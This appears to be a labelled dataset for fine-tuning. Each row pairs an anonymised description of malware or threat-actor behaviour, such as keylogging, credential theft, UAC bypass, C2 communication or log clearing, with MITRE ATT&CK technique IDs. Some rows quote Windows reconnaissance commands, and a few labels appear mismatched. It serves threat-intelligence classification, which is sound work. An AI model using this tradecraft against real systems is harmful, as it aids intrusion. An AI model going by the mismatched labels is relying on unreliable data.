can obtain information about the current user.,['T1033 - System Owner/User Discovery'],fine_tune
can obtain information about the logged on user both locally and for Remote Desktop sessions.,['T1033 - System Owner/User Discovery'],fine_tune
can obtain information about the victim's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
can obtain information on installed anti-malware programs.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"can obtain network information, including DNS, IP, and proxies.",['T1016 - System Network Configuration Discovery'],fine_tune
can obtain passwords from common browsers and FTP clients.,"['T1003 - OS Credential Dumping', 'T1552.001 - Unsecured Credentials: Credentials In Files']",fine_tune
can obtain running services on the victim.,['T1007 - System Service Discovery'],fine_tune
can obtain screenshots from the victim.,['T1113 - Screen Capture'],fine_tune
"can obtain the computer name, OS version, and default language identifier.",['T1082 - System Information Discovery'],fine_tune
can obtain the date and time of a system.,['T1124 - System Time Discovery'],fine_tune
can obtain the victim user name.,"['T1033 - System Owner/User Discovery', 'T1069 - Permission Groups Discovery']",fine_tune
can open an interactive command-shell to perform command line functions on victim machines.,['T1059 - Command and Scripting Interpreter'],fine_tune
can open the Windows Firewall on the victim’s machine to allow incoming connections.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
can overwrite Registry settings to reduce its visibility on the victim.,['T1070 - Indicator Removal on Host'],fine_tune
can perform DLL injection.,['T1055 - Process Injection'],fine_tune
can perform DLL loading.,['T1055 - Process Injection'],fine_tune
can perform keylogging.,['T1056 - Input Capture'],fine_tune
can perform pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
can perform process injection by using a reflective DLL.,['T1055 - Process Injection'],fine_tune
can perform screen captures of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
can provide a remote shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
can query for information contained within the Windows Registry.,['T1012 - Query Registry'],fine_tune
can query service configuration information.,['T1007 - System Service Discovery'],fine_tune
can receive and execute commands with cmd.exe. It can also provide a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
can record audio using any existing hardware recording devices.,['T1123 - Audio Capture'],fine_tune
can record keystrokes from both the keyboard and virtual keyboard.,['T1056 - Input Capture'],fine_tune
can record sound using input audio devices.,['T1123 - Audio Capture'],fine_tune
can record the sounds from microphones on a computer.,['T1123 - Audio Capture'],fine_tune
can recover hashed passwords.,['T1003 - OS Credential Dumping'],fine_tune
can remotely activate the victim’s webcam to capture content.,['T1125 - Video Capture'],fine_tune
can retrieve and execute additional  payloads from the C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
can retrieve information about the Windows domain.,['T1016 - System Network Configuration Discovery'],fine_tune
can retrieve IP and network adapter configuration information from compromised hosts.,['T1016 - System Network Configuration Discovery'],fine_tune
can retrieve OS name/architecture and computer/domain name information from compromised hosts.,['T1082 - System Information Discovery'],fine_tune
can retrieve the current content of the user clipboard.,['T1115 - Clipboard Data'],fine_tune
can retrieve usernames from compromised hosts.,['T1087 - Account Discovery'],fine_tune
can run a command on another machine using .,['T1569.002 - System Services: Service Execution'],fine_tune
can run a copy of cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
can run  to gather information about the victim.,['T1082 - System Information Discovery'],fine_tune
can scan for open TCP ports on the target network.,['T1046 - Network Service Discovery'],fine_tune
can scan local network for open SMB.,['T1135 - Network Share Discovery'],fine_tune
can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings.,['T1083 - File and Directory Discovery'],fine_tune
can search directories for files on the victim’s machine.,['T1083 - File and Directory Discovery'],fine_tune
"can set its ""beacon"" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration.",['T1029 - Scheduled Transfer'],fine_tune
can sleep for a specific time and be set to communicate at specific intervals.,['T1029 - Scheduled Transfer'],fine_tune
can sniff plaintext network credentials and use NBNS Spoofing to poison name services.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],fine_tune
can spawn remote shells.,['T1059 - Command and Scripting Interpreter'],fine_tune
can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
can start SOCKS proxy threads.,['T1090 - Proxy'],fine_tune
can steal access tokens from exiting processes and make tokens from known credentials.,['T1134 - Access Token Manipulation'],fine_tune
can steal clipboard contents.,['T1115 - Clipboard Data'],fine_tune
can switch to a new C2 channel if the current one is broken.,['T1008 - Fallback Channels'],fine_tune
can take a desktop screenshot and save the file into \ProgramData\Mail\MailAg\shot.png.,['T1113 - Screen Capture'],fine_tune
can take regular screenshots when certain applications are open that are sent to the command and control server.,['T1113 - Screen Capture'],fine_tune
can take screenshots.,['T1113 - Screen Capture'],fine_tune
"can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.",['T1113 - Screen Capture'],fine_tune
can terminate a specific process by its process id.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
can timestomp files on victims using a Web shell.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
can track key presses with a keylogger module.,['T1056 - Input Capture'],fine_tune
"can uninstall malware components using a batch script. Additionally, a malicious Word document used for delivery uses VBA macros for execution.",['T1064 - Scripting'],fine_tune
"can upload, download, and execute files on the victim.",['T1105 - Ingress Tool Transfer'],fine_tune
can upload and download files.,['T1105 - Ingress Tool Transfer'],fine_tune
can upload and download files to the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
can upload and download to/from a victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
can upload files from compromised hosts.,['T1005 - Data from Local System'],fine_tune
can upload files to the victim's machine for operations.,['T1105 - Ingress Tool Transfer'],fine_tune
can upload files to the victim’s machine and can download additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
can use a number of known techniques to bypass Windows UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.,['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
can use DDE to execute additional payloads on compromised hosts.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
can use HTTP and DNS for C2 communications.,['T1071 - Application Layer Protocol'],fine_tune
can use HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
can use HTTP or DNS for C2.,['T1071 - Application Layer Protocol'],fine_tune
can use HTTP or HTTPS for command and control to hard-coded C2 servers.,['T1071 - Application Layer Protocol'],fine_tune
can use HTTP or SMTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
can use known credentials to run commands and spawn processes as another user.,['T1078 - Valid Accounts'],fine_tune
can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.,['T1210 - Exploitation of Remote Services'],fine_tune
can use Mshta.exe to execute additional payloads on compromised hosts.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
can use MSHTA to serve additional payloads.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"can use Obfs3, a pluggable transport, to add another layer of encryption and obfuscate TLS.",['T1573 - Encrypted Channel'],fine_tune
can use port 995 for C2.,['T1571 - Non-Standard Port'],fine_tune
can use PowerSploit or other scripting frameworks to perform execution.,['T1064 - Scripting'],fine_tune
can use process hollowing for execution.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
can user PowerView to perform “net user” commands and create local system and domain accounts.,['T1136 - Create Account'],fine_tune
can use Rundll32 to execute additional payloads.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
can use SSL and TLS for communications.,['T1573 - Encrypted Channel'],fine_tune
can use tasklist to collect a list of running tasks.,['T1057 - Process Discovery'],fine_tune
can use the command-line utility cacls.exe to change file permissions.,"['T1059 - Command and Scripting Interpreter', 'T1222 - File and Directory Permissions Modification']",fine_tune
can use the Windows API function CreateProcess to execute another process.,['T1106 - Native API'],fine_tune
can use Window admin shares (C$ and ADMIN$) for lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
can use Windows Authentication Packages for persistence.,['T1547.002 - Authentication Package'],fine_tune
can use WinRM to execute a payload on a remote host.,['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
can use WMI queries to gather system information.,['T1047 - Windows Management Instrumentation'],fine_tune
can use WMI queries to retrieve data from compromised hosts.,['T1047 - Windows Management Instrumentation'],fine_tune
can use WMI to execute commands.,['T1047 - Windows Management Instrumentation'],fine_tune
can wipe drives using  Remove-Item commands.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
can write and execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
captured screenshots and desktop video recordings.,['T1113 - Screen Capture'],fine_tune
captured screenshots and sent them out to a C2 server.,['T1113 - Screen Capture'],fine_tune
"captures and DES-encrypts credentials before writing the username and password to a log file, C:\log.txt.",['T1056 - Input Capture'],fine_tune
captures hashes and credentials that are sent to the system after the name services have been poisoned.,['T1040 - Network Sniffing'],fine_tune
captures keystrokes and sends them back to the C2 server.,['T1056 - Input Capture'],fine_tune
captures screenshots based on specific keywords in the window’s title.,['T1113 - Screen Capture'],fine_tune
captures screenshots of the infected system.,['T1113 - Screen Capture'],fine_tune
captures screenshots of the victim’s screen.,['T1113 - Screen Capture'],fine_tune
captures the content of the desktop with the screencapture binary.,['T1113 - Screen Capture'],fine_tune
"checks for anti-virus, forensics, and virtualization software.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.",['T1120 - Peripheral Device Discovery'],fine_tune
checks for processes associated with anti-virus vendors.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
checks for sandboxing libraries and debugging tools.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
checks for the existence of anti-virus.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
checks for the presence of Bitdefender security software.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.,['T1012 - Query Registry'],fine_tune
checks if the victim OS is 32 or 64-bit.,['T1082 - System Information Discovery'],fine_tune
checks its parent process for indications that it is running in a sandbox setup.,['T1057 - Process Discovery'],fine_tune
checks the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings for proxy configurations information.,['T1012 - Query Registry'],fine_tune
checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.,['T1057 - Process Discovery'],fine_tune
"cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.",['T1070 - Indicator Removal on Host'],fine_tune
clears event logs.,['T1070 - Indicator Removal on Host'],fine_tune
clears the system event logs.,['T1070 - Indicator Removal on Host'],fine_tune
code may be obfuscated through structured exception handling and return-oriented programming.,['T1027 - Obfuscated Files or Information'],fine_tune
collected complete contents of the 'Pictures' folder from compromised Windows systems.,['T1005 - Data from Local System'],fine_tune
collected data from local victim systems.,['T1005 - Data from Local System'],fine_tune
collected file listings of all default Windows directories.,['T1083 - File and Directory Discovery'],fine_tune
collected system architecture information.  used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine.,['T1082 - System Information Discovery'],fine_tune
"collected the victim computer name, OS version, and architecture type and sent the information to its C2 server.  also enumerated all available drives on the victim's machine.",['T1082 - System Information Discovery'],fine_tune
"collected the victim username and whether it was running as admin, then sent the information to its C2 server.",['T1033 - System Owner/User Discovery'],fine_tune
"collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.",['T1029 - Scheduled Transfer'],fine_tune
collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.,['T1049 - System Network Connections Discovery'],fine_tune
"collects a list of files and directories in C:\ with the command dir /s /a c:\ >> ""C:\windows\TEMP\[RANDOM].tmp"".",['T1083 - File and Directory Discovery'],fine_tune
collects a list of install programs and services on the system’s machine.,['T1007 - System Service Discovery'],fine_tune
collects a list of network shares with the command net share.,['T1135 - Network Share Discovery'],fine_tune
collects a list of running services with the command tasklist /svc.,['T1007 - System Service Discovery'],fine_tune
collects a unique identifier (UID) from a compromised host.,['T1082 - System Information Discovery'],fine_tune
collects data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
collects data from the local victim system.,['T1005 - Data from Local System'],fine_tune
collects data stored in the clipboard.,['T1115 - Clipboard Data'],fine_tune
collects endpoint information using the systeminfo command.,['T1082 - System Information Discovery'],fine_tune
"collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.",['T1005 - Data from Local System'],fine_tune
collects general system enumeration data about the infected machine and checks the OS version.,['T1082 - System Information Discovery'],fine_tune
collects hard drive content and system configuration information.,['T1082 - System Information Discovery'],fine_tune
"collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.",['T1083 - File and Directory Discovery'],fine_tune
collects information about running processes.,['T1057 - Process Discovery'],fine_tune
collects information about running processes from victims.,['T1057 - Process Discovery'],fine_tune
collects information about the OS and computer name.,['T1082 - System Information Discovery'],fine_tune
"collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.",['T1083 - File and Directory Discovery'],fine_tune
collects information on network settings and Internet proxy settings from the victim.,['T1016 - System Network Configuration Discovery'],fine_tune
collects information on running processes and environment variables from the victim.,['T1057 - Process Discovery'],fine_tune
collects its process identifier (PID) on the victim.,['T1057 - Process Discovery'],fine_tune
collects Keychain storage data and copies those passwords/tokens to a file.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
collects keystrokes from the victim machine.,['T1056 - Input Capture'],fine_tune
collects keystrokes from the victim’s machine.,['T1056 - Input Capture'],fine_tune
collects local files and information from the victim’s local machine.,['T1005 - Data from Local System'],fine_tune
collects MAC address and local IP address information from the victim.,['T1016 - System Network Configuration Discovery'],fine_tune
"collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. It also collects the system's MAC address with getmac and domain configuration with net config workstation.",['T1016 - System Network Configuration Discovery'],fine_tune
"collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t.",['T1082 - System Information Discovery'],fine_tune
collects password policy information with the command net accounts.,['T1201 - Password Policy Discovery'],fine_tune
"collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.",['T1082 - System Information Discovery'],fine_tune
collects the account name of the logged-in user and sends it to the C2.,['T1033 - System Owner/User Discovery'],fine_tune
"collects the computer name, OS versioning information, and OS install date and sends the information to the C2.",['T1082 - System Information Discovery'],fine_tune
"collects the computer name, the BIOS model, and execution path.",['T1082 - System Information Discovery'],fine_tune
collects the computer name and host name on the compromised system.,['T1082 - System Information Discovery'],fine_tune
collects the computer name and serial number for the storage volume C:\.,['T1082 - System Information Discovery'],fine_tune
collects the current username and sends it to the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
collects the current username from the victim.,['T1033 - System Owner/User Discovery'],fine_tune
collects the domain name from a compromised host.,['T1016 - System Network Configuration Discovery'],fine_tune
collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
collects the group name of the logged-in user and sends it to the C2.,['T1069 - Permission Groups Discovery'],fine_tune
collects the hostname of the victim machine.,['T1082 - System Information Discovery'],fine_tune
collects the keychains on the system.,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
collects the local IP address of the victim and sends it to the C2.,['T1016 - System Network Configuration Discovery'],fine_tune
"collects the MAC address, computer name, and CPU information.",['T1082 - System Information Discovery'],fine_tune
"collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.",['T1016 - System Network Configuration Discovery'],fine_tune
"collects the OS name, machine name, and architecture information.",['T1082 - System Information Discovery'],fine_tune
"collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.",['T1082 - System Information Discovery'],fine_tune
collects the OS version and computer name.,['T1082 - System Information Discovery'],fine_tune
"collects the system information, including hostname and OS version, and sends it to the C2 server.",['T1082 - System Information Discovery'],fine_tune
"collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.",['T1082 - System Information Discovery'],fine_tune
collects the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
collects the users of the system.,['T1087 - Account Discovery'],fine_tune
collects the victim's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
collects the victim's username.,['T1033 - System Owner/User Discovery'],fine_tune
"collects the victim IP address, MAC address, as well as the victim account domain name.",['T1016 - System Network Configuration Discovery'],fine_tune
collects the victim LAN IP address and sends it to the C2 server.,['T1016 - System Network Configuration Discovery'],fine_tune
"collects the victim’s computer name, processor architecture, OS version, and volume serial number.",['T1082 - System Information Discovery'],fine_tune
collects the victim’s username and whether that user is an admin.,['T1033 - System Owner/User Discovery'],fine_tune
"collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.",['T1083 - File and Directory Discovery'],fine_tune
collects user files from the compromised host based on predefined file extensions.,['T1005 - Data from Local System'],fine_tune
"collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).",['T1047 - Windows Management Instrumentation'],fine_tune
command and control occurs via HTTPS over port 443.,"['T1043 - Commonly Used Port', 'T1071 - Application Layer Protocol']",fine_tune
Commands such as net group and net localgroup can be used in  to gather information about and manipulate groups.,['T1069 - Permission Groups Discovery'],fine_tune
Commands such as net view can be used in  to gather information about available remote systems.,['T1018 - Remote System Discovery'],fine_tune
Commands under net user can be used in  to gather information about and manipulate user accounts.,['T1087 - Account Discovery'],fine_tune
"commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"communicates over common ports such as TCP 80, 443, and 25.",['T1043 - Commonly Used Port'],fine_tune
communicates over HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
communicates over HTTP or HTTPS for C2.,['T1071 - Application Layer Protocol'],fine_tune
"communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.",['T1043 - Commonly Used Port'],fine_tune
communicates to its C2 server over HTTP.,['T1071 - Application Layer Protocol'],fine_tune
communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.,['T1071 - Application Layer Protocol'],fine_tune
communicates to the C2 server by retrieving a Google Doc.,['T1102 - Web Service'],fine_tune
communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body.,['T1573 - Encrypted Channel'],fine_tune
communicates via DNS for C2.,['T1071 - Application Layer Protocol'],fine_tune
communicates via ICMP for C2.,['T1095 - Non-Application Layer Protocol'],fine_tune
communicates with its C2 server over HTTP.,['T1071 - Application Layer Protocol'],fine_tune
communicates with its C2 server over HTTPS.,['T1071 - Application Layer Protocol'],fine_tune
communicates with its C2 server over TCP port 3728.,['T1571 - Non-Standard Port'],fine_tune
communicates with its C2 servers over HTTP.,['T1071 - Application Layer Protocol'],fine_tune
communicates with its C2 servers through a TCP socket.,['T1095 - Non-Application Layer Protocol'],fine_tune
completes network communication via raw sockets.,['T1095 - Non-Application Layer Protocol'],fine_tune
compressed data with zlib prior to sending it over C2.,['T1560 - Archive Collected Data'],fine_tune
compresses collected files with both the GZipStream class and a simple character replacement scheme before sending them to its C2 server.,['T1560 - Archive Collected Data'],fine_tune
compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.,['T1560 - Archive Collected Data'],fine_tune
compromised legitimate organizations' websites to create watering holes to compromise victims.,['T1189 - Drive-by Compromise'],fine_tune
compromised McAfee ePO to move laterally by distributing malware as a software deployment task.,['T1072 - Software Deployment Tools'],fine_tune
compromised three Japanese websites using a Flash exploit to perform watering hole attacks.,['T1189 - Drive-by Compromise'],fine_tune
compromised user credentials and used valid accounts for operations.,['T1078 - Valid Accounts'],fine_tune
concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
conducts brute force attacks against SSH services to gain initial access.,['T1110 - Brute Force'],fine_tune
"conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.",['T1003 - OS Credential Dumping'],fine_tune
configured its payload to inject into the rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
configures itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
connects over 443 for C2.,['T1043 - Commonly Used Port'],fine_tune
connects to a predefined domain on port 443 to exfil gathered information.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
connects to C2 infrastructure and establishes backdoors over a custom communications protocol.,['T1095 - Non-Application Layer Protocol'],fine_tune
connects to external C2 infrastructure over the HTTP port.,['T1043 - Commonly Used Port'],fine_tune
connects to port 80 of a C2 server using Wininet API.,['T1071 - Application Layer Protocol'],fine_tune
contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
contains a cleanup module that removes traces of itself from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"contains a collection of CodeExecution modules that enable by injecting code (DLL, shellcode) or reflectively loading a Windows PE file into a process.",['T1055 - Process Injection'],fine_tune
"contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.",['T1005 - Data from Local System'],fine_tune
"contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences, Windows vault credential objects, or using .",['T1003 - OS Credential Dumping'],fine_tune
contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"contains a collection of Privesc-PowerUp modules that can discover and exploit various path interception opportunities in services, processes, and variables.",['T1034 - Path Interception'],fine_tune
"contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.,['T1012 - Query Registry'],fine_tune
contains a command to collect and exfiltrate emails from Outlook.,['T1114 - Email Collection'],fine_tune
contains a command to collect information about anti-virus software on the victim.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
contains a command to collect the victim MAC address and LAN IP.,['T1016 - System Network Configuration Discovery'],fine_tune
contains a command to collect the victim PC name and operating system.,['T1082 - System Information Discovery'],fine_tune
contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.,['T1105 - Ingress Tool Transfer'],fine_tune
contains a command to perform screen captures.,['T1113 - Screen Capture'],fine_tune
contains a command to retrieve files from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
contains a copy of the OpenSSL library to encrypt C2 traffic.,['T1573 - Encrypted Channel'],fine_tune
contains a custom version of the RC4 algorithm that includes a programming error.,['T1573 - Encrypted Channel'],fine_tune
contains a keylogger component.,['T1056 - Input Capture'],fine_tune
contains a keylogger module.,['T1056 - Input Capture'],fine_tune
contains a keylogger module that collects keystrokes and the titles of foreground windows.,['T1056 - Input Capture'],fine_tune
contains a module that captures screenshots of the victim's desktop.,['T1113 - Screen Capture'],fine_tune
contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.,['T1025 - Data from Removable Media'],fine_tune
contains a module to steal credentials from Web browsers on the victim machine.,['T1003 - OS Credential Dumping'],fine_tune
contains base64-encoded strings.,['T1027 - Obfuscated Files or Information'],fine_tune
contains code to clear event logs.,['T1070 - Indicator Removal on Host'],fine_tune
contains code to delete files from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
contains code to open and copy data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
"contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.",['T1083 - File and Directory Discovery'],fine_tune
contains functionality to collect information from the clipboard.,['T1115 - Clipboard Data'],fine_tune
"contains junk code in its binary, likely to confuse malware analysts.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
contains junk code in its functions in an effort to confuse disassembly programs.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
contains keylogger functionality.,['T1056 - Input Capture'],fine_tune
"contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.",['T1056 - Input Capture'],fine_tune
contains keylogging functionality to steal passwords.,['T1056 - Input Capture'],fine_tune
contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using autorun functionality.,['T1091 - Replication Through Removable Media'],fine_tune
contains screen capture functionality.,['T1113 - Screen Capture'],fine_tune
contains the execFile function to execute a specified file on the system using the NSTask:launch method.,['T1106 - Native API'],fine_tune
contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.,['T1071 - Application Layer Protocol'],fine_tune
contains the getFirefoxPassword function to attempt to locate Firefox passwords.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
contains the getInfoOSX function to return the OS X version as well as the current user.,['T1033 - System Owner/User Discovery'],fine_tune
contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed.,['T1082 - System Information Discovery'],fine_tune
contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.,['T1083 - File and Directory Discovery'],fine_tune
contains the showBackupIosFolder function to check for IOS device backups by running ls -la ~/Library/Application\ Support/MobileSync/Backup/.,['T1120 - Peripheral Device Discovery'],fine_tune
"contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.",['T1113 - Screen Capture'],fine_tune
contains UAC bypass code for both 32- and 64-bit systems.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
contains unused machine instructions in a likely attempt to hinder analysis.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
copied all targeted files to a directory called index that was eventually uploaded to the C&C server.,['T1074 - Data Staged'],fine_tune
copied and installed tools for operations once in the victim environment.,['T1105 - Ingress Tool Transfer'],fine_tune
copies a file over to the remote system before execution.,['T1105 - Ingress Tool Transfer'],fine_tune
copies an executable payload to the target system by using  and then scheduling an unnamed task to execute the malware.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
copies documents under 15MB found on the victim system to is the user's %temp%\SMB\ folder. It also copies files from USB devices to a predefined directory.,['T1074 - Data Staged'],fine_tune
copies files from removable drives to C:\system.,['T1074 - Data Staged'],fine_tune
copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.,['T1080 - Taint Shared Content'],fine_tune
copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).,['T1036 - Masquerading'],fine_tune
copies itself to disk and creates an associated run key Registry entry to establish.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
copies itself to the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
copies staged data to removable drives when they are inserted into the system.,['T1052 - Exfiltration Over Physical Medium'],fine_tune
created accounts disguised as legitimate backup and service accounts as well as an email administration account.,['T1036 - Masquerading'],fine_tune
created a custom video recording capability that could be used to monitor operations in the victim's environment.,['T1125 - Video Capture'],fine_tune
"created a directory named ""out"" in the user's %AppData% folder and copied files to it.",['T1074 - Data Staged'],fine_tune
created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
created a  that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
created new Windows services and added them to the startup directories for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates a backdoor by making a connection using a HTTP POST.,['T1071 - Application Layer Protocol'],fine_tune
creates a backdoor through which remote attackers can adjust token privileges.,['T1134 - Access Token Manipulation'],fine_tune
creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.,['T1029 - Scheduled Transfer'],fine_tune
creates a backdoor through which remote attackers can create a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates a backdoor through which remote attackers can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
creates a backdoor through which remote attackers can download files and additional malware components.,['T1105 - Ingress Tool Transfer'],fine_tune
creates a backdoor through which remote attackers can download files onto a compromised host.,['T1105 - Ingress Tool Transfer'],fine_tune
creates a backdoor through which remote attackers can download files onto compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
creates a backdoor through which remote attackers can inject files into running processes.,['T1055 - Process Injection'],fine_tune
creates a backdoor through which remote attackers can load and call DLL functions.,['T1129 - Server Software Component'],fine_tune
creates a backdoor through which remote attackers can monitor services.,['T1007 - System Service Discovery'],fine_tune
creates a backdoor through which remote attackers can obtain data from local systems.,['T1005 - Data from Local System'],fine_tune
creates a backdoor through which remote attackers can retrieve a list of running processes.,['T1057 - Process Discovery'],fine_tune
creates a backdoor through which remote attackers can retrieve files.,['T1005 - Data from Local System'],fine_tune
